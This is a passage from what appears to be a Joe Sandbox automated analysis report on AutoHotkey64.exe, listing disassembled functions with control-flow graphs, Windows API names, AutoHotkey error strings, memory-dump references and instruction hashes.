                                                              control_flow_graph 1202 1400291a0-1400291b8 1203 140029613-14002961d 1202->1203 1204 1400291be-1400291c2 1202->1204 1204->1203 1205 1400291c8-1400292ae call 1400ddba0 call 1400bb4b0 GetSystemMetrics call 1400bb4b0 LoadCursorW RegisterClassExW 1204->1205 1212 1400292d7-1400292f6 call 1400c0060 1205->1212 1213 1400292b0-1400292d5 RegisterClassExW 1205->1213 1219 14002947f-140029497 1212->1219 1213->1212 1214 1400292fb-14002930c GetForegroundWindow 1213->1214 1217 140029346 1214->1217 1218 14002930e-140029327 GetClassNameW 1214->1218 1222 140029349-1400293b5 CreateWindowExW 1217->1222 1220 140029341-140029344 1218->1220 1221 140029329-14002933f call 1400d6a8c 1218->1221 1220->1222 1221->1217 1221->1220 1224 140029458-140029475 call 1400c0060 1222->1224 1225 1400293bb-1400293c2 1222->1225 1234 140029477 1224->1234 1228 1400293c4-1400293eb GetMenu EnableMenuItem 1225->1228 1229 140029401-140029456 CreateWindowExW 1225->1229 1231 1400293fa 1228->1231 1232 1400293ed-1400293f5 call 140029710 1228->1232 1229->1224 1233 140029498-14002959b GetDC GetDeviceCaps MulDiv CreateFontW ReleaseDC SendMessageW * 2 ShowWindow * 2 1229->1233 1231->1229 1232->1231 1235 1400295c3-1400295e3 LoadAcceleratorsW 1233->1235 1236 14002959d-1400295bd ShowWindow SetWindowLongW 1233->1236 1234->1219 1238 1400295e5-1400295ec 1235->1238 1239 1400295ee-1400295f1 call 140029770 1235->1239 1236->1235 1240 1400295f6-1400295fd 1238->1240 1239->1240 1242 140029609-14002960e 1240->1242 1243 1400295ff-140029604 call 140029620 1240->1243 1242->1234 1243->1242
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Resource$Window$Load$Create$ClassShow$FindLockMenuMessageMetricsRegisterSendSystem$AcceleratorsCapsCursorDeviceEnableEnumFontForegroundFromIconItemLibraryLongNameNamesReleaseSizeof
                                                              • String ID: AutoHotkey$AutoHotkey2$Consolas$CreateWindow$Lucida Console$P$RegClass$Shell_TrayWnd$edit
                                                              • API String ID: 221421807-2636979444
                                                              • Opcode ID: 0a0bf190ad6466050cd76611af0cacba0b9938d38feded7827f8f3b3fd9cb258
                                                              • Instruction ID: e1b3866f4365a83736c0df2819c35d5566c22b8c9faf5ea9def45bc2c5e60920
                                                              • Opcode Fuzzy Hash: 0a0bf190ad6466050cd76611af0cacba0b9938d38feded7827f8f3b3fd9cb258
                                                              • Instruction Fuzzy Hash: F8C14971208B8086E762DB26F8547DA73A5FB8DB94F544129EB8A53B78DF3CC845CB40
                                                              Function 000000014000280B Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 466windowclipboardthreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: AvailableClipboardCountFormatTick$Windowwcsncpy$Message$ClassCurrentDialogDirectoryDragFinishForegroundNameProcessShowThread
                                                              • String ID: #32770$<<>>$uQz5
                                                              • API String ID: 533211433-2926917739
                                                              • Opcode ID: 2335a2c4502bdc716216ef219de9bdf6fa9ec96820329d12bef35574ee414c27
                                                              • Instruction ID: 8cfbfb00545958bb1eeb41e088e1f1a89de361b86735d798c8fc3320db1d7d42
                                                              • Opcode Fuzzy Hash: 2335a2c4502bdc716216ef219de9bdf6fa9ec96820329d12bef35574ee414c27
                                                              • Instruction Fuzzy Hash: 67329BB2604A948AFB63CF27A9403E937A5F74DBD4F544116EB4A57BB8DB38C981C700
                                                              Function 00000001400722B0 Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 530fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$CloseFileHandlefree$CreateReadSize_wcstoui64
                                                              • String ID: Out of memory.
                                                              • API String ID: 144052852-4087320997
                                                              • Opcode ID: dfa6768a1c729cf006a415aa595941a6f9b3795464534c67d51390788326fb62
                                                              • Instruction ID: f4ec8e51ce2462d77a4595e43828260908613a4441788825181ed53a7623f35d
                                                              • Opcode Fuzzy Hash: dfa6768a1c729cf006a415aa595941a6f9b3795464534c67d51390788326fb62
                                                              • Instruction Fuzzy Hash: 1E22033220468081EB66AB27A5103EA67A1FB8DBE4F884215FF9A077F5DB3CC545D300
                                                              Function 000000014002AED0 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 237COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 2045 14002aed0-14002aef4 call 1400e0af0 2048 14002b2a6-14002b2b5 2045->2048 2049 14002aefa-14002aeff 2045->2049 2049->2048 2050 14002af05-14002af24 2049->2050 2051 14002afa5 2050->2051 2052 14002af26-14002af2c 2050->2052 2053 14002afac-14002afb9 2051->2053 2054 14002af46-14002af48 2052->2054 2055 14002af2e-14002af41 call 14004e5e0 2052->2055 2058 14002afd1-14002afd5 2053->2058 2059 14002afbb-14002afbf 2053->2059 2056 14002af5b 2054->2056 2057 14002af4a-14002af52 2054->2057 2068 14002b1c7-14002b1e4 2055->2068 2065 14002af60-14002af79 call 1400d7018 2056->2065 2064 14002af54-14002af59 2057->2064 2057->2065 2062 14002afd7-14002affe call 1400da5c4 CharUpperW 2058->2062 2063 14002b000-14002b015 GetFullPathNameW 2058->2063 2059->2062 2066 14002afc1-14002afcc 2059->2066 2070 14002b01b-14002b01e 2062->2070 2063->2070 2064->2065 2079 14002af96-14002afa3 2065->2079 2080 14002af7b-14002af91 call 14004e5e0 2065->2080 2067 14002b061-14002b085 2066->2067 2076 14002b087-14002b090 2067->2076 2077 14002b105-14002b112 call 1400d7728 2067->2077 2073 14002b056-14002b05d 2070->2073 2074 14002b020-14002b025 2070->2074 2073->2067 2074->2073 2078 14002b027 2074->2078 2076->2077 2082 14002b092-14002b0a4 FindResourceW 2076->2082 2090 14002b114-14002b11c call 1400058e0 2077->2090 2091 14002b11e 2077->2091 2083 14002b030-14002b048 lstrcmpiW 2078->2083 2079->2053 2080->2068 2082->2077 2086 14002b0a6-14002b0b4 LoadResource 2082->2086 2087 14002b0fb-14002b100 2083->2087 2088 14002b04e-14002b054 2083->2088 2092 14002b124-14002b12a 2086->2092 2093 14002b0b6-14002b0c7 LockResource 2086->2093 2097 14002b1bf 2087->2097 2088->2073 2088->2083 2099 14002b121 2090->2099 2091->2099 2094 14002b24c-14002b254 2092->2094 2095 14002b130-14002b155 call 1400b7525 2092->2095 2093->2092 2096 14002b0c9-14002b0ef SizeofResource call 1400d7728 2093->2096 2101 14002b256-14002b25b 2094->2101 2102 14002b260-14002b2a1 call 1400b9320 2094->2102 2095->2094 2108 14002b15b-14002b169 call 1400b6b50 2095->2108 2096->2091 2109 14002b0f1-14002b0f9 call 1400284c0 2096->2109 2097->2068 2099->2092 2106 14002b1b7 2101->2106 2111 14002b1af-14002b1b2 call 14004e5e0 2102->2111 2106->2097 2114 14002b16e-14002b170 2108->2114 2109->2099 2111->2106 2114->2094 2117 14002b176-14002b181 2114->2117 2118 14002b183-14002b19f call 1400b5ff0 2117->2118 2119 14002b1e5-14002b1ed 2117->2119 2118->2119 2128 14002b1a1-14002b1a8 2118->2128 2120 14002b242-14002b247 2119->2120 2121 14002b1ef-14002b201 FindResourceW 2119->2121 2120->2106 2123 14002b203-14002b21a call 14002b2c0 2121->2123 2124 14002b21c-14002b227 2121->2124 2123->2124 2131 14002b23b-14002b23d 2123->2131 2124->2120 2127 14002b229-14002b239 call 14002b2c0 2124->2127 2127->2120 2127->2131 2128->2111 2131->2106
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Resource$Find$LoadLockSizeofrealloc
                                                              • String ID: #Include$%s file "%s" cannot be opened.$*#2$Out of memory.$Script$Too many includes.
                                                              • API String ID: 95980184-3189951223
                                                              • Opcode ID: 57408ecd82452396b10976bb6d79debf4c8c2a57ae2994c7bf457511b4c156ac
                                                              • Instruction ID: 467ced3ae4870d444bdbeb142725d9155c2d694f10dfa98c0e100a113c2b1971
                                                              • Opcode Fuzzy Hash: 57408ecd82452396b10976bb6d79debf4c8c2a57ae2994c7bf457511b4c156ac
                                                              • Instruction Fuzzy Hash: 95B19D71214B8581FA639F53A4907EA63A0FB8CBC4F84442AAF5A07BB5EF7CC955C740
                                                              Function 0000000140093390 Relevance: 24.6, APIs: 9, Strings: 4, Instructions: 1891COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: free$EnvironmentVariable_wcstoi64
                                                              • String ID: $ $Memory limit reached (see #MaxMem in the help file).$Out of memory.
                                                              • API String ID: 2232209690-4280895764
                                                              • Opcode ID: 6faafe8ae21aac68632af56fdc6a5d3ccdcc21d360c1dff6baa4a8984a56161d
                                                              • Instruction ID: d73a32617c964e38f2a44c13b2e3946f850230aa72d0397f2b8ccb1a11747354
                                                              • Opcode Fuzzy Hash: 6faafe8ae21aac68632af56fdc6a5d3ccdcc21d360c1dff6baa4a8984a56161d
                                                              • Instruction Fuzzy Hash: 5903DC72200B8486EB66AF27D4943ED27A1FB48BD5F958216FB5A57BF4DB34C981C300
                                                              Function 0000000140041408 Relevance: 18.0, APIs: 9, Strings: 1, Instructions: 480windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$free$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo_wcstoi64
                                                              • String ID: D
                                                              • API String ID: 3911087108-2746444292
                                                              • Opcode ID: 8ac778026cc458c0a533329ba544f14d11858d590f5707c7ebb512ff1b6b8843
                                                              • Instruction ID: f80d3e1244f4831dca507bdced43c9b5c17565dfc6438650252d1f39c8c18e65
                                                              • Opcode Fuzzy Hash: 8ac778026cc458c0a533329ba544f14d11858d590f5707c7ebb512ff1b6b8843
                                                              • Instruction Fuzzy Hash: 9B227C72604A9489FB668B27E4503ED37A1F78CBD8F164136EB4A67AF5DB34C881C704
                                                              Function 00000001400408A3 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 481COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: Parameter #2 invalid.$Parameter #3 invalid.$Read
                                                              • API String ID: 0-931347957
                                                              • Opcode ID: af9a12873c122162435b902a266b023bd9db6bef9dd9961ca112b09d5a46ed10
                                                              • Instruction ID: d5ba8251dc6019f7bba31c79ca5976df8c19310c3f6affb1fe1541ee289a1d7b
                                                              • Opcode Fuzzy Hash: af9a12873c122162435b902a266b023bd9db6bef9dd9961ca112b09d5a46ed10
                                                              • Instruction Fuzzy Hash: BB229F72704B4086FB668B2BD8403ED33A1E78CBD8F564126EB49676F6DB34C891C749
                                                              Function 0000000140043506 Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 476windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlockfree
                                                              • String ID: Memory limit reached (see #MaxMem in the help file).$Out of memory.
                                                              • API String ID: 3390695210-457448710
                                                              • Opcode ID: e0f302f65134f60071ac04d4296de6018edef22c1530de864307114c0fc8d5ef
                                                              • Instruction ID: ffefa3b2572ce666edeb55af03b03a4f927a08db1e7048164c976ad6f5c7ecf9
                                                              • Opcode Fuzzy Hash: e0f302f65134f60071ac04d4296de6018edef22c1530de864307114c0fc8d5ef
                                                              • Instruction Fuzzy Hash: F922EEB1604B4085FB668B27D4503EC67A2E74CBE8F12522AFB5A57BF5DB78C881C344
                                                              Function 000000014002A757 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 376COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 4989 14002a757-14002a763 GetFileAttributesW 4990 14002a7a5-14002a83b 4989->4990 4991 14002a765-14002a7a4 call 1400b9320 call 1400c0060 4989->4991 5000 14002a841-14002a863 call 14002b2c0 4990->5000 5001 14002ada7-14002adbb 4990->5001 4991->4990 5000->5001
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: AttributesFile
                                                              • String ID: ErrorLevel$Memory limit reached (see #MaxMem in the help file).$Out of memory.$Script file not found:%s
                                                              • API String ID: 3188754299-3577509769
                                                              • Opcode ID: b48d50c842d115d515e75c0cdd65db0a1f86a2a964f2c15fe96f9a9a28626494
                                                              • Instruction ID: 58382c69b5478aeeef0175bd92032b8bcad0eb363e8dc939f250bdfa52762de7
                                                              • Opcode Fuzzy Hash: b48d50c842d115d515e75c0cdd65db0a1f86a2a964f2c15fe96f9a9a28626494
                                                              • Instruction Fuzzy Hash: 0D029C76200B8082EB639B26E4503E963A1FB4EBD8F54461AEB4E577B5DF7CC985C340
                                                              Function 0000000140042C35 Relevance: 9.4, APIs: 6, Instructions: 368windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: fd98259a5ea2e7222548d2064e566cb33687ffcb884aa6b2b62619cd6d78804c
                                                              • Instruction ID: da70256605d41b22c2ae5f93126d3622f2af31cea311f04a8a2901f013b6f177
                                                              • Opcode Fuzzy Hash: fd98259a5ea2e7222548d2064e566cb33687ffcb884aa6b2b62619cd6d78804c
                                                              • Instruction Fuzzy Hash: C0F1BE72B0064086FBA68B27E4403E937A1A78DBD4F564226FB4967AF5DB38C881C744
                                                              Function 00000001400BA370 Relevance: 6.1, APIs: 4, Instructions: 137fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Find$CloseFileFirst
                                                              • String ID:
                                                              • API String ID: 2295610775-0
                                                              • Opcode ID: 0c46e26afe1cda9787d97d3bc9e892cafc883e079692ec76a87b7afa9c7d5d26
                                                              • Instruction ID: 7c0e8a139005ced204376094a9c848a8566c487536cf4e7fe569e878b2dda182
                                                              • Opcode Fuzzy Hash: 0c46e26afe1cda9787d97d3bc9e892cafc883e079692ec76a87b7afa9c7d5d26
                                                              • Instruction Fuzzy Hash: C0518F22301E8491EA228F16D5487DE72B5FB89BE4F958716BB69077E5EF78C606C300
                                                              Function 00000001400962C0 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 589COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: Memory limit reached (see #MaxMem in the help file).$Out of memory.
                                                              • API String ID: 0-457448710
